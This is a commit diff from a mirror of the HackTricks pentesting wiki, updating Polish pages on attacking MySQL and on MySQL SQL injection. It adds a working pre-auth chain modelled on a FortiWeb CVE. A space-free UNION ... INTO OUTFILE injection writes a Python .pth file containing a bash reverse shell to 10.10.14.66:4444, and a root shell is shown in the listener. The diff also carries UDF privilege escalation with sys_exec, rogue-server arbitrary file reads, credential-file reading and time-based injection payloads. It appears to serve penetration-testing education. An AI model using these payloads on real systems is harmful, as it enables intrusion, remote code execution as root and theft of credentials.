mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/
This commit is contained in:
parent
67c83849fa
commit
cd49252664
@ -1,10 +1,15 @@
|
||||
# 3306 - Pentesting Mysql
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## References
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
**MySQL** można opisać jako otwarte źródło **Systemu Zarządzania Relacyjnymi Bazami Danych (RDBMS)**, który jest dostępny bezpłatnie. Działa na **Języku Zapytania Strukturalnego (SQL)**, umożliwiając zarządzanie i manipulację bazami danych.
|
||||
**MySQL** można opisać jako otwartoźródłowy **System Zarządzania Relacyjnymi Bazami Danych (RDBMS)**, który jest dostępny bezpłatnie. Działa na **Języku Zapytania Strukturalnego (SQL)**, umożliwiając zarządzanie i manipulację bazami danych.
|
||||
|
||||
**Domyślny port:** 3306
|
||||
```
|
||||
@ -109,10 +114,47 @@ Możesz zobaczyć w dokumentacji znaczenie każdego uprawnienia: [https://dev.my
|
||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
## MySQL dowolne odczytywanie plików przez klienta
|
||||
#### INTO OUTFILE → Python `.pth` RCE (specyficzne dla witryny haki konfiguracyjne)
|
||||
|
||||
W rzeczywistości, gdy próbujesz **załadować dane lokalnie do tabeli** z **zawartością pliku**, serwer MySQL lub MariaDB prosi **klienta o odczytanie go** i przesłanie zawartości. **Jeśli możesz zmanipulować klienta mysql, aby połączył się z własnym serwerem MySQL, możesz odczytać dowolne pliki.**\
|
||||
Zauważ, że jest to zachowanie przy użyciu:
|
||||
Wykorzystując klasyczny prymityw `INTO OUTFILE`, możliwe jest uzyskanie *dowolnego wykonania kodu* na celach, które później uruchamiają skrypty **Python**.
|
||||
|
||||
1. Użyj `INTO OUTFILE`, aby umieścić niestandardowy **`.pth`** plik w dowolnym katalogu ładowanym automatycznie przez `site.py` (np. `.../lib/python3.10/site-packages/`).
|
||||
2. Plik `.pth` może zawierać *jedną linię* zaczynającą się od `import `, po której następuje dowolny kod Python, który będzie wykonywany za każdym razem, gdy interpreter się uruchomi.
|
||||
3. Gdy interpreter jest niejawnie uruchamiany przez skrypt CGI (na przykład `/cgi-bin/ml-draw.py` z shebang `#!/bin/python`), ładunek jest wykonywany z tymi samymi uprawnieniami co proces serwera WWW (FortiWeb uruchomił go jako **root** → pełne RCE przed uwierzytelnieniem).
|
||||
|
||||
Przykład ładunku `.pth` (jedna linia, nie mogą być zawarte spacje w końcowym ładunku SQL, więc może być wymagane użycie hex/`UNHEX()` lub konkatenacji ciągów):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
Przykład tworzenia pliku za pomocą zapytania **UNION** (znaki spacji zastąpione `/**/`, aby obejść filtr spacji `sscanf("%128s")` i utrzymać całkowitą długość ≤128 bajtów):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
Ważne ograniczenia i obejścia:
|
||||
|
||||
* `INTO OUTFILE` **nie może nadpisywać** istniejących plików; wybierz nową nazwę pliku.
|
||||
* Ścieżka do pliku jest rozwiązywana **względem CWD MySQL**, więc dodanie `../../` pomaga skrócić ścieżkę i obejść ograniczenia dotyczące ścieżek absolutnych.
|
||||
* Jeśli dane wejściowe atakującego są wyciągane za pomocą `%128s` (lub podobnego), każda spacja skróci ładunek; użyj sekwencji komentarzy MySQL `/**/` lub `/*!*/`, aby zastąpić spacje.
|
||||
* Użytkownik MySQL wykonujący zapytanie potrzebuje uprawnienia `FILE`, ale w wielu urządzeniach (np. FortiWeb) usługa działa jako **root**, co daje dostęp do zapisu niemal wszędzie.
|
||||
|
||||
Po usunięciu `.pth`, po prostu zażądaj dowolnego CGI obsługiwanego przez interpreter Pythona, aby uzyskać wykonanie kodu:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
Proces Pythona automatycznie zaimportuje złośliwy plik `.pth` i wykona ładunek powłoki.
|
||||
```
|
||||
# Attacker
|
||||
$ nc -lvnp 4444
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
---
|
||||
|
||||
## MySQL dowolne odczytywanie pliku przez klienta
|
||||
|
||||
W rzeczywistości, gdy próbujesz **załadować dane lokalnie do tabeli** z **zawartością pliku**, serwer MySQL lub MariaDB prosi **klienta o jego odczyt** i przesłanie zawartości. **Jeśli możesz zmanipulować klienta MySQL, aby połączył się z własnym serwerem MySQL, możesz odczytywać dowolne pliki.**\
|
||||
Zauważ, że takie jest zachowanie przy użyciu:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
@ -123,8 +165,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Początkowy PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**W tym artykule można zobaczyć pełny opis ataku, a nawet jak go rozszerzyć do RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**W tym artykule można zobaczyć pełny opis ataku, a nawet jak go rozszerzyć na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Tutaj można znaleźć przegląd ataku:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
@ -133,7 +175,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||
|
||||
## POST
|
||||
|
||||
### Użytkownik Mysql
|
||||
### Mysql User
|
||||
|
||||
Będzie to bardzo interesujące, jeśli mysql działa jako **root**:
|
||||
```bash
|
||||
@ -147,8 +189,8 @@ W konfiguracji usług MySQL stosuje się różne ustawienia do określenia jej d
|
||||
- Ustawienie **`user`** jest wykorzystywane do wyznaczenia użytkownika, pod którym będzie uruchamiana usługa MySQL.
|
||||
- **`password`** jest stosowane do ustalenia hasła powiązanego z użytkownikiem MySQL.
|
||||
- **`admin_address`** określa adres IP, który nasłuchuje połączeń TCP/IP na administracyjnym interfejsie sieciowym.
|
||||
- Zmienna **`debug`** wskazuje na bieżące konfiguracje debugowania, w tym wrażliwe informacje w logach.
|
||||
- **`sql_warnings`** zarządza tym, czy ciągi informacyjne są generowane dla pojedynczych instrukcji INSERT, gdy pojawiają się ostrzeżenia, zawierające wrażliwe dane w logach.
|
||||
- Zmienna **`debug`** wskazuje na obecne konfiguracje debugowania, w tym wrażliwe informacje w logach.
|
||||
- **`sql_warnings`** zarządza tym, czy generowane są ciągi informacyjne dla pojedynczych instrukcji INSERT, gdy pojawiają się ostrzeżenia, zawierające wrażliwe dane w logach.
|
||||
- Dzięki **`secure_file_priv`** zakres operacji importu i eksportu danych jest ograniczony w celu zwiększenia bezpieczeństwa.
|
||||
|
||||
### Eskalacja uprawnień
|
||||
@ -169,13 +211,13 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||
\! sh
|
||||
```
|
||||
### Eskalacja uprawnień za pomocą biblioteki
|
||||
### Podwyższanie uprawnień za pomocą biblioteki
|
||||
|
||||
Jeśli **serwer mysql działa jako root** (lub inny bardziej uprzywilejowany użytkownik), możesz sprawić, że wykona on polecenia. W tym celu musisz użyć **funkcji zdefiniowanych przez użytkownika**. Aby stworzyć funkcję zdefiniowaną przez użytkownika, będziesz potrzebować **biblioteki** dla systemu operacyjnego, na którym działa mysql.
|
||||
|
||||
Złośliwą bibliotekę, której należy użyć, można znaleźć w sqlmap i w metasploit, wykonując **`locate "*lib_mysqludf_sys*"`**. Pliki **`.so`** to **biblioteki linux**, a **`.dll`** to **biblioteki Windows**, wybierz tę, której potrzebujesz.
|
||||
|
||||
Jeśli **nie masz** tych bibliotek, możesz albo **ich poszukać**, albo pobrać ten [**kod C dla linux**](https://www.exploit-db.com/exploits/1518) i **skompilować go wewnątrz podatnej maszyny linux**:
|
||||
Jeśli **nie masz** tych bibliotek, możesz albo **ich poszukać**, albo pobrać ten [**kod C dla linux**](https://www.exploit-db.com/exploits/1518) i **skompilować go na podatnej maszynie linux**:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
@ -216,7 +258,7 @@ SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
### Wyciąganie poświadczeń MySQL z plików
|
||||
|
||||
W pliku _/etc/mysql/debian.cnf_ można znaleźć **hasło w formacie tekstowym** użytkownika **debian-sys-maint**
|
||||
W pliku _/etc/mysql/debian.cnf_ można znaleźć **hasło w postaci czystego tekstu** użytkownika **debian-sys-maint**
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
|
||||
## Odniesienia
|
||||
- [Pre-auth SQLi do RCE w Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -52,7 +52,7 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/]
|
||||
|
||||
## Flow
|
||||
|
||||
Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz zastąpić "_**information_schema.tables**_" przez "_**mysql.innodb_table_stats**_**"** (To może być przydatne do obejścia WAF-ów).
|
||||
Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz zastąpić "_**information_schema.tables**_" "_**mysql.innodb_table_stats**_**"** (To może być przydatne do obejścia WAF-ów).
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
@ -92,7 +92,7 @@ UniOn SeLect 1,2
|
||||
UniOn SeLect 1,2,3
|
||||
...
|
||||
```
|
||||
## MySQL oparty na Unii
|
||||
## MySQL Union Based
|
||||
```sql
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||
@ -111,7 +111,7 @@ Gdy dozwolone są złożone zapytania, może być możliwe ominięcie WAF-ów, p
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
Aby uzyskać więcej informacji, zapoznaj się z [tym wpisem na blogu](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||
Dla uzyskania dodatkowych informacji proszę odwołać się do [tego wpisu na blogu](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||
|
||||
### Alternatywy dla information_schema
|
||||
|
||||
@ -131,18 +131,40 @@ Jeśli w pewnym momencie znasz nazwę tabeli, ale nie znasz nazw kolumn w tabeli
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
Zakładając, że są 2 kolumny (pierwsza to ID, a druga to flaga), możesz spróbować brute force'ować zawartość flagi, próbując znak po znaku:
|
||||
Zakładając, że są 2 kolumny (pierwsza to ID, a druga to flaga), możesz spróbować przeprowadzić brute force na zawartości flagi, próbując znak po znaku:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
Więcej informacji w [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### Wstrzyknięcie bez SPACJI (sztuczka z komentarzem `/**/`)
|
||||
|
||||
Niektóre aplikacje sanitizują lub analizują dane wejściowe użytkownika za pomocą funkcji takich jak `sscanf("%128s", buf)`, które **zatrzymują się na pierwszym znaku spacji**.
|
||||
Ponieważ MySQL traktuje sekwencję `/**/` jako komentarz *i* jako białą przestrzeń, można jej użyć do całkowitego usunięcia normalnych spacji z ładunku, zachowując jednocześnie poprawność składniową zapytania.
|
||||
|
||||
Przykład wstrzyknięcia opartego na czasie, omijającego filtr spacji:
|
||||
```http
|
||||
GET /api/fabric/device/status HTTP/1.1
|
||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||||
```
|
||||
Które baza danych odbiera jako:
|
||||
```sql
|
||||
' OR SLEEP(5)-- -'
|
||||
```
|
||||
To jest szczególnie przydatne, gdy:
|
||||
|
||||
* Kontrolowany bufor jest ograniczony rozmiarem (np. `%128s`) i spacje mogłyby przedwcześnie zakończyć dane wejściowe.
|
||||
* Wstrzykiwanie przez nagłówki HTTP lub inne pola, gdzie normalne spacje są usuwane lub używane jako separatory.
|
||||
* W połączeniu z prymitywami `INTO OUTFILE`, aby osiągnąć pełne RCE przed uwierzytelnieniem (zobacz sekcję MySQL File RCE).
|
||||
|
||||
---
|
||||
|
||||
### Historia MySQL
|
||||
|
||||
Możesz zobaczyć inne wykonania w MySQL, odczytując tabelę: **sys.x$statement_analysis**
|
||||
Możesz zobaczyć inne wykonania w MySQL, przeglądając tabelę: **sys.x$statement_analysis**
|
||||
|
||||
### Alternatywne wersje**s**
|
||||
### Alternatywy wersji**s**
|
||||
```
|
||||
mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
@ -150,11 +172,12 @@ mysql> select version();
|
||||
```
|
||||
## Inne przewodniki dotyczące wstrzykiwania MYSQL
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [Pre-auth SQLi to RCE w Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user